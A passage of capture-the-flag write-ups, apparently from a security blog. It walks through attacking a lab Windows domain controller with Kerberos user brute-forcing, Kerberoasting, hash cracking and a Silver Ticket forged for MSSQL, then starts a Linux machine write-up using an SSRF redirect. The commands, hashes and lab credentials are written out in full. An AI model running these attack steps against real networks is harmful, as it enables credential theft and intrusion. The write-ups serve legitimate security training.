SF:3;\r\nERROR_UNKNOWN_COMMAND;\r\n&quot;)%r(HTTPOptions,35,&quot;SCRAMBLECORP_ORDER
SF:S_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n&quot;)%r(RTSPRequest,35,&quot;SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n&quot;)%r(RPCCheck,1D,&quot;SCR
SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(DNSVersionBindReqTCP,1D,&quot;SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n&quot;)%r(DNSStatusRequestTCP,1D,&quot;SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n&quot;)%r(Help,35,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO
SF:WN_COMMAND;\r\n&quot;)%r(SSLSessionReq,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
SF:&quot;)%r(TerminalServerCookie,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(TLS
SF:SessionReq,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(Kerberos,1D,&quot;SCRAM
SF:BLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(SMBProgNeg,1D,&quot;SCRAMBLECORP_ORDERS_V1\
SF:.0\.3;\r\n&quot;)%r(X11Probe,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(FourO
SF:hFourRequest,35,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND
SF:;\r\n&quot;)%r(LPDString,35,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_
SF:COMMAND;\r\n&quot;)%r(LDAPSearchReq,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%
SF:r(LDAPBindReq,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(SIPOptions,35,&quot;
SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n&quot;)%r(LANDesk
SF:-RC,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(TerminalServer,1D,&quot;SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(NCP,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r
SF:\n&quot;)%r(NotesRPC,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(JavaRMI,1D,&quot;S
SF:CRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(WMSRequest,1D,&quot;SCRAMBLECORP_ORDERS
SF:_V1\.0\.3;\r\n&quot;)%r(oracle-tns,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r
SF:(ms-sql-s,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(afp,1D,&quot;SCRAMBLECOR
SF:P_ORDERS_V1\.0\.3;\r\n&quot;)%r(giop,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;);
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-08-10T10:17:54
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Based on this information, we can confirm that we are dealing with a &lt;strong&gt;DC&lt;/strong&gt; (Domain Controller)&lt;/p&gt;
&lt;p&gt;Luckily for us, we have the &lt;strong&gt;DC&lt;/strong&gt; name and the &lt;strong&gt;domain&lt;/strong&gt; name&lt;/p&gt;
&lt;p&gt;Let&apos;s add this to the &lt;strong&gt;/etc/hosts&lt;/strong&gt; file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nvim /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./etc_hosts_file.png&quot; alt=&quot;etc_hosts_file&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, we have a lot of information here and many ports to go through, but let&apos;s start with the most important one &lt;strong&gt;HTTP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./httppage.png&quot; alt=&quot;httppage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s do some manual enumeration on this web service&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./NTLMauthdisabled.png&quot; alt=&quot;NTLMauthDisabled&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And in the “IT Services” section, we can see an interesting message &quot;Due to the security breach last month we have now disabled all NTLM authentication on our network. This may cause problems for some of the programs you use so please be patient while we work to resolve any issues&quot;&lt;/p&gt;
&lt;p&gt;Based on this information, we can now conclude that we must use &lt;strong&gt;Kerberos authentication&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Continuing with the enumeration, we see that the web service has some &lt;strong&gt;resources&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;User Found&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./resources.png&quot; alt=&quot;resources&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./userdiscovered.png&quot; alt=&quot;userdiscovered&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the screenshot of the CMD, we can see that a system level user named &lt;strong&gt;“ksimpson”&lt;/strong&gt; is being used&lt;/p&gt;
&lt;p&gt;Now let&apos;s check if it&apos;s a valid user to do this, let&apos;s use the &lt;code&gt;Kerbrute&lt;/code&gt; tool&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;ksimpson&apos; &amp;gt; user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;kerbrute userenum -d scrm.local --dc 10.129.43.92 user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./validuser.png&quot; alt=&quot;validuser&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as we can see, the user is valid&lt;/p&gt;
&lt;h1&gt;Brute-Force Attack&lt;/h1&gt;
&lt;p&gt;Since we can&apos;t do much with just the username, we&apos;re going to perform a &lt;strong&gt;brute-force attack&lt;/strong&gt; on usernames using &lt;code&gt;kerbrute&lt;/code&gt;. If we have multiple users,
we can attempt an &lt;strong&gt;AS-REP Roast Attack&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(Wordlist that we used ---&amp;gt; https://github.com/attackdebris/kerberos_enum_userlists)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kerbrute userenum -d scrm.local --dc 10.129.43.92 /opt/kerberos_enum_userlists/A-ZSurnames.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./usersfound.png&quot; alt=&quot;usersfound&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Successful brute-force attack we&apos;ve gained 4 new users!&lt;/p&gt;
&lt;p&gt;Now let&apos;s save them&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;asmith,jhall,khicks,ksimpson,sjenkins&apos; | tr &apos;,&apos; &apos;\n&apos; &amp;gt; users.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;AS-REP Roast Attack (failed)&lt;/h1&gt;
&lt;p&gt;We now have the file that we&apos;ll use for the &lt;strong&gt;AS-REP Roast Attack&lt;/strong&gt;, to do this, let&apos;s use the impacket &lt;code&gt;GetNPUsers.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GetNPUsers.py -no-pass -usersfile users.txt scrm.local/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attackfailed.png&quot; alt=&quot;attackfailed&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, our attack failed because &lt;strong&gt;UF_DONT_REQUIRE_PREAUTH&lt;/strong&gt; isn&apos;t set&lt;/p&gt;
&lt;p&gt;What comes to mind right now is to use &lt;code&gt;Kerbrute&lt;/code&gt; again to try to identify valid credentials for those users we found&lt;/p&gt;
&lt;p&gt;we&apos;re going to perform another &lt;strong&gt;brute-force attack&lt;/strong&gt;, but in this case to obtain valid user passwords&lt;/p&gt;
&lt;p&gt;Before launching a large-scale attack, it&apos;s best to first test it manually by entering usernames as passwords, in some cases this works because users set their username as
a password&lt;/p&gt;
&lt;p&gt;Let&apos;s start with the first user we found, &lt;strong&gt;“ksimpson”&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;Credentials Found&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;kerbrute bruteuser -d scrm.local --dc 10.129.43.92 users.txt ksimpson
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./badpasswordconfig.png&quot; alt=&quot;badpasswordconfig&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like the user ksimpson is using the username as a password! (This is a very serious security mistake)&lt;/p&gt;
&lt;p&gt;After testing the following users, only the user ksimpson works&lt;/p&gt;
&lt;p&gt;Now that we have credentials, we can carry out a &lt;strong&gt;Kerberoasting attack&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;But before we try that, let&apos;s connect via &lt;strong&gt;SMB&lt;/strong&gt; using the impacket &lt;code&gt;smbclient.py&lt;/code&gt; (Let&apos;s not forget to use the -k flag for Kerberos authentication)&lt;/p&gt;
&lt;h1&gt;Successful SMB connection&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;smbclient.py scrm.local/ksimpson:ksimpson@dc1.scrm.local -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./insidethesmbservice.png&quot; alt=&quot;insidethesmbservice&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we gained access to the &lt;strong&gt;SMB&lt;/strong&gt; service&lt;/p&gt;
&lt;p&gt;After accessing each shared resource, only the “Public” resource provides a &lt;strong&gt;PDF&lt;/strong&gt; that appears to contain important information&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use Public
ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./ainterestingPDF.png&quot; alt=&quot;aninterestingPDF&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s download it!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;get Network Security Changes.pdf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now let&apos;s open it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;xdg-open &apos;Network Security Changes.pdf&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./thisisthePDF.png&quot; alt=&quot;thisisthePDF&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But we couldn&apos;t find anything we didn&apos;t already know&lt;/p&gt;
&lt;p&gt;So let&apos;s move on to the &lt;strong&gt;Kerberoasting Attack&lt;/strong&gt; phase&lt;/p&gt;
&lt;p&gt;To perform this attack, we&apos;ll use the impacket &lt;code&gt;GetUserSNPs.py&lt;/code&gt; (and of course we&apos;re going to use the only credentials we have)&lt;/p&gt;
&lt;h1&gt;Kerberoasting Attack&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;GetUserSPNs.py -k scrm.local/ksimpson:ksimpson -dc-host DC1.scrm.local -request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./kerberoastingattack.png&quot; alt=&quot;TGS&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The attack was successful, and we were able to obtain the &lt;strong&gt;TGS&lt;/strong&gt; (Ticket Granting Service) for the user &lt;strong&gt;&quot;sqlsvc&quot;&lt;/strong&gt; which has a &lt;strong&gt;SPN&lt;/strong&gt; (Service Principal Name) associated
with it&lt;/p&gt;
&lt;p&gt;Now let&apos;s save the &lt;strong&gt;hash&lt;/strong&gt; to a file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;$krb5tgs$23$*sqlsvc$SCRM.LOCAL$scrm.local/sqlsvc*$72189adcba0a5372dbc0d7f3c9460f7a$6c0cef74da581275c1928cc40dc73e04d89a17651acb788d3937b78d77f3be5143eb6cf1d0bb287104bb30f3e11492b0e2ba697bd285fbc32653116fdfbfdb17e3ad33fbb2fb186a9a5d9ecf30999296d95b792427e77e0e3160cd8ea32c9aa4201f42625e1438fadf4d30b3a820ad0fa931e40e70b395dd6e502bb5dbf8d654d4ba07bfa8b0e6a675e8a7a2552d82a099ab957b5eace4c708750924b11d050d877aa1dbcfc34bbf6c09faa0893ea782bbf4e73b1349c049a8a1df61319d9160ab8c7f0dfbc6c3c43bae9871e7b986db63a8b4391dc861c4d1c05b0060807635194d72b085e3643fd364e03c52b86c36a1bc9756ace05502ba3d3f550b7f8b4c10cb851d98b66a66fd1a40f43213c3e9a26e4cc3e6876a1121376ac9a9644aa93af0345ba4dc87625cab83f9a5b9f2a008d74ece83f8d816ff04588cb4cca8bdab4f46edbd7840decd46224ffa7d75fbb6b94e2d6decf4ccaff25263938cf3d53c5404a8b0b3ac1907a8e25ce1f975fb7bcb028b7ae05387b013ddfb819c838fc5c51d2ded1425024642fada3a0b82586a748e9f9773adc072ca287e5863769569b36a18c013b6a7bf1b902fc41a4e5ece08b5619818e9a0fc805882329cc75f442e48b23340b617f0e36d88d6c89b3fedceeffe83a949224ed8b2d4a4d62419d6745ad3aa84e5185d04a983f2a53c89a3f6d2d65ed81b2956b88663c20ef043528352fbb709a2bc163dfec930fab8aa22feb05e62183d324656fe95139cffc1b011441aca0f763209dd9e6a7064bf4dba3d888d0eacb6918d642516044ff435d30fc5118541fc655b9e73672bad424471687f13f6a796d6021bfabf8a12e85041a455f9b65d2d0a1bbd9d1b8926cfadba70b772af93ff8d283ee4231bd60deb20e22d420e044b9872a2ad6565ec432cb533732dc3b8658a1453f9559d8755d3c4863242d0dbb97a44413a1fb9486a33b3a1eaab9fd0c2dd6f4792d6ebf62d96c3556193577dc0f49250d40b45431a94d7d46f58f62da296429f37aa75d2fb9335e052539bea96110e85338539b7d911ab6e57633de7a707faa868fa32cae7d000cf2e701e40177f2dc4548afdb03e55105704d33e58bf6b314b728141a1d0237b1e04f33d34592755788632cef22a2f77e908463244fe660f428cac55dbcf951a6767ab7dbfeaae7d071454537e3c8f4d836932ee9c6ba94a079b68d56e6f8852e25d361a8330e348f19c7ddcbeaf9f347c2a833d2a593ce848877bc89c0b859a07459c98f8a9427c70baa8853d7564d8e9fe39e17b10cc244effbb78db21476fd99f892a087963b11f954b04e1e920466d828943d7cce6f2ed34bf37c79274719c9603bd1e0592ccca96b72022a4d62019a12013b06af7676b0d84930ab6a1aded49b478209e09f96f020d268720a5dae6a46b7cd0eb0bfb11ce&apos; &amp;gt; hash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now let&apos;s crack it using &lt;code&gt;John the Ripper&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Cracking TGS Hash&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;john --format=krb5tgs --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./sqlsvc_Pegasus60.png&quot; alt=&quot;sqlsvc_Pegasus60&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now we have the &lt;strong&gt;sqlsvc&lt;/strong&gt; user&apos;s credentials in plain text&lt;/p&gt;
&lt;p&gt;(sqlsvc:Pegasus60)&lt;/p&gt;
&lt;p&gt;As we saw, the sqlsvc user is associated with an SPN, which is mssql&lt;/p&gt;
&lt;p&gt;Now that we know this, let&apos;s try to connect to the &lt;strong&gt;MSSQL&lt;/strong&gt; service using that user. To do so, we&apos;ll use the &lt;code&gt;mssqlclient.py&lt;/code&gt; impacket&lt;/p&gt;
&lt;h1&gt;Connecting to the MSSQL service (failed)&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;mssqlclient.py scrm.local/sqlsvc:Pegasus60@10.129.43.92 -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./itfailed.png&quot; alt=&quot;itfailed&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But we haven&apos;t been able to connect successfully&lt;/p&gt;
&lt;p&gt;But we still have another method: the &lt;strong&gt;Silver Ticket Attack&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To carry out this attack, we must have a user account associated with an SPN, that user&apos;s password in NTLM hash format, and finally the Domain SID of the user we want
to impersonate&lt;/p&gt;
&lt;h1&gt;Obtaining the SID, SPN and NTLM Hash&lt;/h1&gt;
&lt;p&gt;First, let&apos;s start by converting the user&apos;s password into an &lt;strong&gt;NTLM hash&lt;/strong&gt;&lt;br /&gt;
(https://codebeautify.org/ntlm-hash-generator)&lt;/p&gt;
&lt;p&gt;Next, we&apos;ll retrieve the &lt;strong&gt;Domain SID&lt;/strong&gt; for the &lt;strong&gt;Administrator&lt;/strong&gt; user&lt;/p&gt;
&lt;p&gt;To do this, we&apos;ll use the impacket &lt;code&gt;getPac.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;getPac.py scrm.local/sqlsvc:Pegasus60 -targetUser Administrator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./herewehavethedomainSID.png&quot; alt=&quot;herewehavethedomainSID&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And finally, the &lt;strong&gt;SPN&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We already got that when we used the impacket &lt;code&gt;GetUserSPNs.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And finally, we save everything in a file so we can keep it handy&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./letsperformtheSTA.png&quot; alt=&quot;letsperformsilverticketattack&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now we&apos;re ready to carry out the &lt;strong&gt;Silver Ticket Attack&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We&apos;ll use the impacket &lt;code&gt;ticketer.py&lt;/code&gt; for this attack&lt;/p&gt;
&lt;h1&gt;Silver Ticket Attack&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;ticketer.py -spn MSSQLSvc/dc1.scrm.local -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -nthash B999A16500B87D17EC7F2E2A68778F05 -dc-ip 10.129.43.92 -domain scrm.local Administrator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./successfulattack.png&quot; alt=&quot;successfulattack&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we need to export the &lt;strong&gt;KBR5CCNAME&lt;/strong&gt; environment variable so that its value is the file where the &lt;strong&gt;TGS&lt;/strong&gt; was generated
(We need this to authenticate with &lt;strong&gt;Kerberos&lt;/strong&gt; using &lt;strong&gt;tickets&lt;/strong&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export KRB5CCNAME=Administrator.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now we can try to connect to the &lt;strong&gt;MSSQL&lt;/strong&gt; service&lt;/p&gt;
&lt;h1&gt;Reconnecting to the MSSQL service&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;mssqlclient.py dc1.scrm.local -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./welcometomssql.png&quot; alt=&quot;welcometomssql&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First, we start by listing all the databases&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT name FROM sys.databases;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./allthedatabases.png&quot; alt=&quot;allthedatabases&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s choose a database&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use ScrambleHR
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&apos;s list the tables in that database&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM information_schema.tables
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./allthetablesinthedb.png&quot; alt=&quot;allthetablesinthedb&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And finally, the content of those tables&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM UserImport;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./contentofthetableUserImport.png&quot; alt=&quot;contentofthetableUserImport&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, using these new credentials, let&apos;s reconnect to the &lt;strong&gt;SMB&lt;/strong&gt; service to see which shares we can list&lt;/p&gt;
&lt;h1&gt;Reconnecting to the SMB service (new creds)&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;smbclient.py scrm.local/MiscSvc:ScrambledEggs9900@dc1.scrm.local -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After performing enumeration, we discovered two files &lt;strong&gt;(ScrambleClient.exe : ScrambleLib.dll)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./twofilesdiscovered.png&quot; alt=&quot;twofilesdiscovered&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s download both&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;get ScrambleClient.exe
get ScrambleLib.dll
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;**At this point, we would need to set up a Python server to transfer these two files to a Windows machine and then elevate privileges from the Windows machine**
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Health</title><link>https://scriptos0.github.io/posts/health/health/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/health/health/</guid><description>Health is a medium Linux machine that features an SSRF vulnerability on the main webpage that can be exploited to access services that are available only on localhost. More specifically, a Gogs instance is accessible only through localhost and this specific version is vulnerable to an SQL injection attack. Due to the way that an attacker can interact with the Gogs instance the best approach in this scenario is to replicate the remote environment by installing the same Gogs version on a local machine and then using automated tools to produce a valid payload. After retrieving the hashed password of the user susanne an attacker is able to crack the hash and reveal the plain text password of that user. The same credentials can be used to authenticate to the remote machine using SSH. Privilege escalation relies on cron jobs that are running under the user root. These cron jobs are related to the functionality of the main web application and process unfiltered data from a database. Thus, an attacker is able to inject a malicious task inside the database and exfiltrate the SSH key file of the user root, thus, allowing him to gain a root session on the remote machine.</description><pubDate>Wed, 22 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Reconnaissance&lt;/h1&gt;
&lt;p&gt;Let&apos;s start by checking which TCP ports are open&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sS -p- --open --min-rate 5000 10.129.34.90 -vvv -n -Pn -oG allports.txt 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, we’ve detected two services: &lt;strong&gt;SSH&lt;/strong&gt; and &lt;strong&gt;HTTP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s perform service version detection on the open ports&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sVC -p22,80 -Pn 10.129.34.90
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 32:b7:f4:d4:2f:45:d3:30:ee:12:3b:03:67:bb:e6:31 (RSA)
|   256 86:e1:5d:8c:29:39:ac:d7:e8:15:e6:49:e2:35:ed:0c (ECDSA)
|_  256 ef:6b:ad:64:d5:e4:5b:3e:66:79:49:f4:ec:4c:23:9f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HTTP Monitoring Tool
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since we don&apos;t have credentials yet, let&apos;s take a look at the &lt;strong&gt;HTTP&lt;/strong&gt; service&lt;/p&gt;
&lt;h1&gt;Testing the Web Service Tool&lt;/h1&gt;
&lt;p&gt;And this is what we have&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./http-service.png&quot; alt=&quot;http-service&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This web service is a &lt;strong&gt;tool&lt;/strong&gt; that allows us to remotely check whether a web service is available&lt;/p&gt;
&lt;p&gt;If we take a closer look at the options this tool offers, we see that there are three fields: &lt;strong&gt;Payload URL&lt;/strong&gt;, &lt;strong&gt;Monitored URL&lt;/strong&gt;, and &lt;strong&gt;Interval&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload URL&lt;/strong&gt; = This is where we&apos;ll receive the information via a POST request&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Monitored URL&lt;/strong&gt; = This is to check if a web server is available&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Interval&lt;/strong&gt; = This represents Cron Jobs, and it is the interval at which the request will be executed.&lt;/p&gt;
&lt;p&gt;To verify whether this tool actually works, we&apos;re going to set up a local &lt;code&gt;Python&lt;/code&gt; web server and then use &lt;code&gt;netcat&lt;/code&gt; to open a listening port to see
if we receive the information via a &lt;strong&gt;POST&lt;/strong&gt; request&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir www
cd !$
echo &quot;This is a test&quot; &amp;gt; index.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&apos;s start the web server&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo python3 -m http.server 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&apos;s open another terminal and set up a listening port to receive the information via &lt;strong&gt;POST&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -nvlp 5346
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./netcatandpython.png&quot; alt=&quot;likethis&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once everything is set up, we go to the tool and submit the request&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sendingtherequest.png&quot; alt=&quot;httprequest&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./itworked.png&quot; alt=&quot;itworked!&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, we receive a &lt;strong&gt;GET&lt;/strong&gt; request to our web server, and then, through the listening port, we receive the information via &lt;strong&gt;POST&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At this point, we can see that when the listening port receives the information, the body of the web service we are specifying in the &lt;strong&gt;Monitored URL&lt;/strong&gt; field is displayed&lt;/p&gt;
&lt;p&gt;This may lead us to consider the possibility of a potential &lt;strong&gt;SSRF&lt;/strong&gt; (Server-Side Request Forgery) attack&lt;/p&gt;
&lt;p&gt;First of all, let&apos;s determine whether there is a service running on the machine that we cannot access remotely. To do this, we&apos;ll use &lt;code&gt;nmap&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sS -p- --min-rate 5000 10.129.34.90 -vvv -n -Pn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we were able to identify a service that is running on the machine&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT     STATE    SERVICE REASON
22/tcp   open     ssh     syn-ack ttl 63
80/tcp   open     http    syn-ack ttl 63
3000/tcp filtered ppp     no-response
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;SSRF (Server-Side Request Forgery)&lt;/h1&gt;
&lt;p&gt;Instead of entering our IP address which points to our web server in the &lt;strong&gt;Monitored URL&lt;/strong&gt; field, we could try entering &lt;strong&gt;&quot;localhost&quot;&lt;/strong&gt;.
That way, we would be pointing to the victim&apos;s machine, since the tool&apos;s request is sent from that machine itself&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./localhostredirect.png&quot; alt=&quot;localhostredirect&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But the web server is properly sanitized, so we can&apos;t redirect to localhost&lt;/p&gt;
&lt;p&gt;If we can&apos;t access it that way, we can represent localhost in hexadecimal: &lt;strong&gt;(0x7f000001)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Or we could represent it in decimal form: &lt;strong&gt;(2130706433)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;But in this case, neither of those two methods will work&lt;/p&gt;
&lt;p&gt;Now that we know this, let&apos;s try running a &lt;strong&gt;PHP&lt;/strong&gt; server&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvim index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we&apos;re going to create a &lt;strong&gt;PHP&lt;/strong&gt; file that redirects to localhost and points to the internal service on port 3000, and if the victim machine runs our code,
we&apos;ll be able to see the internal service&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  header(&quot;Location: http://127.0.0.1:3000&quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the file is created, we open the &lt;strong&gt;PHP&lt;/strong&gt; server&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo php -S 0.0.0.0:80
